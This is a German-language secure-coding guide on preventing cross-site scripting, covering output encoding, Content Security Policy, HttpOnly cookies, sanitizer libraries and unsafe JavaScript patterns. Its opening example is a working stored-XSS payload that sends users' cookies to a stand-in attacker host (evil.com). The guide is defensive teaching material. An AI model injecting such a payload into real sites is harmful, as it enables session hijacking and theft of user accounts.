XSS Cross Site Scripting Verhindern
XSS verhindern: Cross-Site Scripting Schutz
XSS ermöglicht Angreifern, JavaScript im Browser Ihrer Nutzer auszuführen. Cookies stehlen, Keylogging, Phishing – hier lernen Sie, wie Sie sich schützen.
Was ist XSS?
Bei XSS wird schädlicher JavaScript-Code in eine Website eingeschleust und im Browser anderer Nutzer ausgeführt:
// Angreifer postet in Kommentarfeld: <script> document.location = 'https://evil.com/steal?cookie=' + document.cookie; </script> // Wenn nicht escaped: JavaScript wird ausgeführt!
XSS-Typen
| Typ | Beschreibung | Beispiel |
|---|---|---|
| Stored XSS | Payload in DB gespeichert | Kommentare, Profile |
| Reflected XSS | Payload in URL/Request | Suchparameter, Fehlermeldungen |
| DOM-based XSS | Payload im Client verarbeitet | location.hash, innerHTML |
Lösung 1: Output Encoding
Alle Benutzerdaten vor der Ausgabe escapen!
PHP
<?php
// ✅ SICHER: HTML-Encoding
echo htmlspecialchars($userInput, ENT_QUOTES, 'UTF-8');
// Kurzform mit Funktion
function e($string) {
return htmlspecialchars($string, ENT_QUOTES, 'UTF-8');
}
// Verwendung
echo e($comment);
?>
<!-- Im Template -->
<p>Kommentar: <?= e($comment) ?></p>
<input value="<?= e($username) ?>">
JavaScript
// ✅ SICHER: textContent statt innerHTML element.textContent = userInput; // ❌ UNSICHER element.innerHTML = userInput; // Wenn HTML nötig: Sanitizer verwenden const clean = DOMPurify.sanitize(userInput); element.innerHTML = clean;
Template Engines (Auto-Escaping)
// Twig (PHP)
{{ user.comment }} // Auto-escaped
{{ user.html|raw }} // Kein Escape (nur wenn sicher!)
// EJS (Node.js)
<%= userComment %> // Auto-escaped
<%- userComment %> // Kein Escape
// Jinja2 (Python)
{{ comment }} // Auto-escaped
{{ comment|safe }} // Kein Escape
Kontext-spezifisches Encoding
// HTML-Body
<p>{{ htmlEncode(data) }}</p>
// HTML-Attribut
<input value="{{ attrEncode(data) }}">
// JavaScript
<script>var x = "{{ jsEncode(data) }}";</script>
// URL
<a href="?q={{ urlEncode(data) }}">
// CSS
<div style="width: {{ cssEncode(data) }}">
Lösung 2: Content Security Policy (CSP)
CSP verhindert die Ausführung von Inline-Scripts und externen Scripts von nicht-autorisierten Quellen.
// HTTP Header
Content-Security-Policy: default-src 'self';
script-src 'self' https://cdn.example.com;
style-src 'self' 'unsafe-inline';
img-src 'self' data: https:;
connect-src 'self' https://api.example.com;
Nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline';" always;
PHP
<?php
header("Content-Security-Policy: default-src 'self'; script-src 'self'");
CSP mit Nonce (für Inline-Scripts)
<?php
$nonce = base64_encode(random_bytes(16));
header("Content-Security-Policy: script-src 'nonce-$nonce'");
?>
<script nonce="<?= $nonce ?>">
// Dieser Code wird ausgeführt
</script>
<script>
// Dieser Code wird blockiert!
</script>
Lösung 3: HttpOnly Cookies
// JavaScript kann Cookie nicht lesen
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict
// PHP
setcookie('session', $token, [
'httponly' => true,
'secure' => true,
'samesite' => 'Strict'
]);
Gefährliche Patterns vermeiden
element.innerHTML = userInputdocument.write(userInput)eval(userInput)setTimeout(userInput)location.href = userInputjQuery.html(userInput)
// ❌ UNSICHER
$('#output').html(userInput);
document.getElementById('output').innerHTML = userInput;
// ✅ SICHER
$('#output').text(userInput);
document.getElementById('output').textContent = userInput;
URL-Validation
// ✅ javascript: URLs verhindern
function isSafeUrl(url) {
try {
const parsed = new URL(url, window.location.origin);
return ['http:', 'https:'].includes(parsed.protocol);
} catch {
return false;
}
}
// Verwendung
if (isSafeUrl(userUrl)) {
window.location.href = userUrl;
}
React/Vue XSS-Schutz
// React - automatisch escaped
return <p>{userComment}</p>;
// ❌ GEFÄHRLICH: dangerouslySetInnerHTML
return <p dangerouslySetInnerHTML={{__html: userComment}} />;
// Vue - automatisch escaped
<p>{{ userComment }}</p>
// ❌ GEFÄHRLICH: v-html
<p v-html="userComment"></p>
Sanitization Libraries
// JavaScript: DOMPurify
const clean = DOMPurify.sanitize(dirtyHtml);
const clean = DOMPurify.sanitize(dirtyHtml, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a'],
ALLOWED_ATTR: ['href']
});
// PHP: HTML Purifier
$config = HTMLPurifier_Config::createDefault();
$purifier = new HTMLPurifier($config);
$clean = $purifier->purify($dirtyHtml);
XSS-Checkliste
- Output Encoding für alle Benutzerdaten
- Content Security Policy implementieren
- HttpOnly und Secure für Cookies
- Template Engines mit Auto-Escaping
- DOMPurify für HTML-Eingaben
- Keine eval(), innerHTML mit User-Input